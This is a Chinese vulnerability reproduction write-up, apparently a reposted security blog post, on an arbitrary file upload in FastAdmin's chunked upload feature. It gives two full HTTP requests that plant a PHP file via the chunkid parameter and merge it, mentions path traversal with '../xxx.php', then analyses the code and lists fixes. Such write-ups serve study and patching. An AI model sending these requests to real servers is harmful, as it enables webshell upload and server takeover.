FastAdmin前台分片传输上传文件getshell复现
<span style="color: black;"><strong style="color: blue;">上方蓝色字体关注<span style="color: black;">咱们</span>,<span style="color: black;">一块</span>学安全!</strong></span><strong style="color: blue;"><span style="color: black;">作者:</span></strong><strong style="color: blue;"><span style="color: black;">Whippet</span></strong><strong style="color: blue;"><span style="color: black;"><p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">@Timeline Sec</p>
</span></strong><strong style="color: blue;"><span style="color: black;">本文字数:1624</span></strong><strong style="color: blue;"><span style="color: black;">阅读时长:5~6min</span></strong><span style="color: black;"><strong style="color: blue;">声明:请勿用作违法用途,否则后果自负</strong></span><span style="color: black;"><strong style="color: blue;">0x01 简介</strong></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">FastAdmin 是一款基于 ThinkPHP 5 + Bootstrap 的极速后台<span style="color: black;">研发</span>框架。致力于服务<span style="color: black;">研发</span>者,快速搭建自己属于自己的后台。</p>
<span style="color: black;"><strong style="color: blue;">0x02 漏洞概述</strong></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2021年3月28日,360漏洞云漏洞<span style="color: black;">科研</span>员<span style="color: black;">发掘</span>,FastAdmin框架存在有<span style="color: black;">要求</span>RCE漏洞,<span style="color: black;">因为</span>FastAdmin的前台文件上传功能中<span style="color: black;">供给</span>了分片传输功能, 但在合并分片文件时因对文件路径的拼接处理<span style="color: black;">欠妥</span><span style="color: black;">引起</span>可上传任意文件。</span></p><span style="color: black;"><strong style="color: blue;">0x03 影响版本</strong></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">FastAdmin < V1.2.0.20210401_beta</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">且开启分片传输功能(默认关闭)</span></p><span style="color: black;"><strong style="color: blue;">0x04 环境搭建</strong></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在官网上下载</span><span style="color: black;">fastadmin</span><span style="color: black;">,利用phpstudy搭建环境</span></p><span style="color: black;">https:<span style="color: black;">//package.fastadmin.net/full/1.2.0.20210125_full.zip</span></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">先开启分片上传功能,文件位置如下图</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSreHIP4ghOFe6MQYt7Rcfq70Pe5Ty9icIH4aYSKR2R6bgPicSsbdiaSib9w/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">拜访</span>/public/install.php进行安装,填写数据无脑下一步<span style="color: black;">就可</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADS5L80y8BxhNcmKI2GQoGEbleLpfJNiaVsFDvRhZ2l6zEIXDAHln2CJNw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">0x05 漏洞复现</strong></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">漏洞需要一个低权限的账号</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">因此</span><span style="color: black;">咱们</span>需要在前台注册一个普通用户</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSjQdBN3btycM0lH3icEJkDjQmGqN6rhnhcicFSx8Sr9Z9dqmB5O4ApGtg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">登陆后在个人资料头像处抓包并上传dog.jpg</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSVWDtRqfWohjvk2p8pWbyBqtgH1dVJZ4gF8Y4y2hQXv3DMC6uPSfFzg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">更改上传数据包</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">(需要<span style="color: black;">重视</span>图中几处红框的内容)</p>
<img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSMxYiaFXMiaz9WmziarMDZEYODZpgwBDaEBOtDcADcFjl9os6cMRcJdvHg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"><span style="color: black;"><span style="color: black;">POST</span> <span style="color: black;">/index/ajax/upload</span> HTTP/1.1</span><span style="color: black;"><span style="color: black;">Host</span>: test.test</span><span style="color: black;"><span style="color: black;">Content-Length</span>: 418</span><span style="color: black;"><span style="color: black;">Accept</span>: application/json</span><span style="color: black;"><span style="color: black;">Cache-Control</span>: no-cache</span><span style="color: black;"><span style="color: black;">X-Requested-With</span>: XMLHttpRequest</span><span style="color: black;"><span style="color: black;">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36</span><span style="color: black;"><span style="color: black;">Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryurpjX18wIurjSyEp</span></span><span style="color: black;"><span style="color: black;">Accept-Encoding</span>: gzip, deflate</span><span style="color: black;"><span style="color: black;">Accept-Language</span>: zh-CN,zh;q=0.9</span><span style="color: black;"><span style="color: black;">Cookie</span>: PHPSESSID=rn1k8an9su59qb7ghosafer4vg; think_var=zh-cn; uid=2; token=aad3aa1e-1c65-4ee4-989a-bb3a82a4dd4a</span><span style="color: black;"><span style="color: black;">Connection</span>: close</span><span style="color: black;">------WebKitFormBoundaryurpjX18wIurjSyEp</span><span style="color: black;">Content-Disposition: form-<span style="color: black;">data</span>; name=<span style="color: black;">"file"</span>; filename=<span style="color: black;">"dog.jpg"</span></span><span style="color: black;">Content-Type: application/octet-stream</span><span style="color: black;"><?php phpinfo(); ?></span><span style="color: black;">------WebKitFormBoundaryurpjX18wIurjSyEp</span><span style="color: black;">Content-Disposition: form-<span style="color: black;">data</span>; name=<span style="color: black;">"chunkid"</span>;</span><span style="color: black;">test.php</span><span style="color: black;">------WebKitFormBoundaryurpjX18wIurjSyEp</span><span style="color: black;">Content-Disposition: form-<span style="color: black;">data</span>; name=<span style="color: black;">"chunkindex"</span>;</span><span style="color: black;"><span style="color: black;">0</span></span><span style="color: black;">------WebKitFormBoundaryurpjX18wIurjSyEp--</span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">上传成功之后,会在网站路径</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">C:\phpstudy_pro\WWW\fastadmin\runtime\chunks下生成一个test.php-0.part文件</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSXrGNCMDAzcibDhL3PhtXEuhC9y7j21POl6JHIa4QJvezK8SmXXAVLxg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">发送数据包<span style="color: black;"><span style="color: black;">(需要<span style="color: black;">重视</span>图中几处红框的内容)</span></span></span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">返回包<span style="color: black;">表示</span>200则<span style="color: black;">表率</span>合并成功</p>
<img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSIPYAP0v3PiaibgvkibQ8UmUAkym2r0MaMMLX0IqzqgXQSsXiaFMrC5B37Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"><span style="color: black;"><span style="color: black;">POST</span> <span style="color: black;">/index/ajax/upload</span> HTTP/1.1</span><span style="color: black;"><span style="color: black;">Host: tets.test</span></span><span style="color: black;"><span style="color: black;">Content-Length</span>: 42</span><span style="color: black;"><span style="color: black;">Accept</span>: application/json</span><span style="color: black;"><span style="color: black;">Cache-Control</span>: no-cache</span><span style="color: black;"><span style="color: black;">X-Requested-With</span>: XMLHttpRequest</span><span style="color: black;"><span style="color: black;">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36</span><span style="color: black;"><span style="color: black;">Content-Type</span>: application/x-www-form-urlencoded</span><span style="color: black;"><span style="color: black;">Accept-Encoding</span>: gzip, deflate</span><span style="color: black;"><span style="color: black;">Accept-Language</span>: zh-CN,zh;q=0.9</span><span style="color: black;"><span style="color: black;">Cookie</span>: PHPSESSID=mm4ejed8h7hubqq1stmogrut20; think_var=zh-cn; uid=2; token=f5a57bef-2ad2-496a-a4bc-66974bcc4a08</span><span style="color: black;"><span style="color: black;">Connection</span>: close</span><span style="color: black;"><span style="color: black;">chunkid</span>=test.php&chunkcount=<span style="color: black;">1</span>&action=merge</span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">发包后<span style="color: black;">拜访</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">/fastadmin/runtime/chunks/test.php</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSG7Xian8WjULziaIS28A79IclLYYdmLytQ8OvhiaU4kpkXbO5Z812YHOtg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSgnh4ctn5mibWs6CKtGBn8sxYEaZviaVyBhZBlVZNUjjo8jOAgyQ3GvUw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;">
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">(漏洞利用存在很大的局限性,<span style="color: black;">首要</span>是需要开启支持分片传输,我在调试的过程中<span style="color: black;">发掘</span>,在指定
host 解析,设定网站的根目录为 /fastadmin/public 之后就<span style="color: black;">没法</span><span style="color: black;">拜访</span> /fastadmin/runtime/chunks
下的文件,<span style="color: black;">虽然说</span>如此,<span style="color: black;">然则</span><span style="color: black;">能够</span><span style="color: black;">经过</span>设定chunkid的值为 ../xxx.php 就<span style="color: black;">能够</span>实现跨目录的上传)</span></p><span style="color: black;"><strong style="color: blue;">0x06 漏洞分析</strong></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">按照</span>漏洞</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">描述需要开启支持分片上传,<span style="color: black;">因此</span><span style="color: black;">咱们</span>修改</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">application/extra/upload.php中chunking为 true</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSAE3ibb0hdJZ61euYx20mZVjnMv6Wz5Hc5j02fiauHVwvCzhbDsSOZtqA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">同期</span>最新版本<span style="color: black;">已然</span>修复存在的漏洞,修复位置为</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">application/common/library/Upload.php</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">复现漏洞时,应注释这个部分</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSNYhibaniblg26E5Ac3LiaRwYkgKmia1NiaGe7Wtia4j0iapqljB9f0tnxpDfA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">按照</span>上传时的路由信息</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">/index.php/index/ajax/upload</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">定位至代码位置</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">application/index/controller/Ajax.php</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSDZHL5L3TsUULRFmbeedicVeMZ74SoNwkI4Qr15RphLpwtUEc9xJ18KA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">漏洞的触发共分为两个过程,上传分片与合并分片</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">首要</span>关注上传分片的过程 传入参数 chunckid 才会到上传分片的位置</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">\app\api\controller\Common::upload</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSaVeqQJqDkQH7lfsKl8DWwyouYPiboibmD4Kib2ONT2LqMknLicCFB3tG5Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">\app\common\library\Upload::chunk</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSSHhTD4ZYwq2GwqCGE61KPw8Sq8hGC5ibMDPuKHOQyFSo5KXPmjA15VQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">在
chunk <span style="color: black;">办法</span>中,<span style="color: black;">首要</span>对 Content-Type 进行了校验,必须为 application/octet-stream 将传入的参数
chunckid 与 chunckindex <span style="color: black;">经过</span> - 连接,最后拼接 .part 最后<span style="color: black;">保留</span>到 /runtime/chunks/</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">当<span style="color: black;">咱们</span>传递的 $chunkid 为 test.php , $chunckindex 为 0 时(参数<span style="color: black;">选取</span>为0,还有别的<span style="color: black;">原由</span>,下表),最后拼接出的分片文件名为test.php-0.part</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">而后</span>是合并分片文件的操作,需要传入参数 action=merge 才会到合并分片文件的函数</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSbfAccDnPbVyx1HoEx8QgE9V1dElxicdysvC7JRsywBzK3nkS1PA9Gsw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">\app\common\library\Upload::merge</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsh5E9kDWAEbeEnDAocNfADSfjgLuc3hGyb2uFnEvEJ6ldzp4KuUGE3srUlRHSialh1MOrS2XRhxKkg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">在 merge <span style="color: black;">办法</span>中会将 $chunkid 的值指定为最后<span style="color: black;">保留</span>的文件名,<span style="color: black;">而后</span>回<span style="color: black;">按照</span>传入的参数$chunkcount遍历<span style="color: black;">查询</span><span style="color: black;">是不是</span>分片文件上传完成,<span style="color: black;">咱们</span>仅上传了一个分片文件,<span style="color: black;">因此</span><span style="color: black;">第1</span>个分片文件应该设定为0,此处 chunkcount 的值应为1</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">之后就将分片传输的文件写入指定的文件中,最后返回文件信息,即使最后报错提示是不<span style="color: black;">准许</span>的上传类型,<span style="color: black;">然则</span>文件<span style="color: black;">已然</span><span style="color: black;">保留</span>到 /runtime/chunks/ 路径下</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在上传对文件名进行校验的<span style="color: black;">状况</span>下,利用分片传输的中最后重命名文件名的特点,绕过对文件名的校验,实现了任意文件上传</span></p><span style="color: black;"><strong style="color: blue;">0x07 修复方式</strong></span>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">1、关闭分片传输</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">修改application/extra/upload.php中 chunking 为 false</span></p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2、升级FastAdmin版本,其中对 chunkid 做正则判断</span></p><strong style="color: blue;"><span style="color: black;">参考链接:</span></strong>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">https://xz.aliyun.com/t/9395</p>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg</p>
<img src="https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsiaASAShFz46a4AgLIIYWJQKpGAnMJxQ4dugNhW5W8ia0SwhReTlse0vygkJ209LibhNVd93fGib77pNQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/VfLUYJEMVshAoU3O2dkDTzN0sqCMBceq8o0lxjLtkWHanicxqtoZPFuchn87MgA603GrkicrIhB2IKxjmQicb6KTQ/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1" style="width: 50%; margin-bottom: 20px;"><strong style="color: blue;">
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">阅读原文看<span style="color: black;">更加多</span>复现<span style="color: black;">文案</span></p>
</strong>
<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">Timeline Sec 团队</p>安全路上,与你并肩前行
说得好啊!我在外链论坛打滚这么多年,所谓阅人无数,就算没有见过猪走路,也总明白猪肉是啥味道的。 你的留言真是温暖如春,让我感受到了无尽的支持与鼓励。
页:
[1]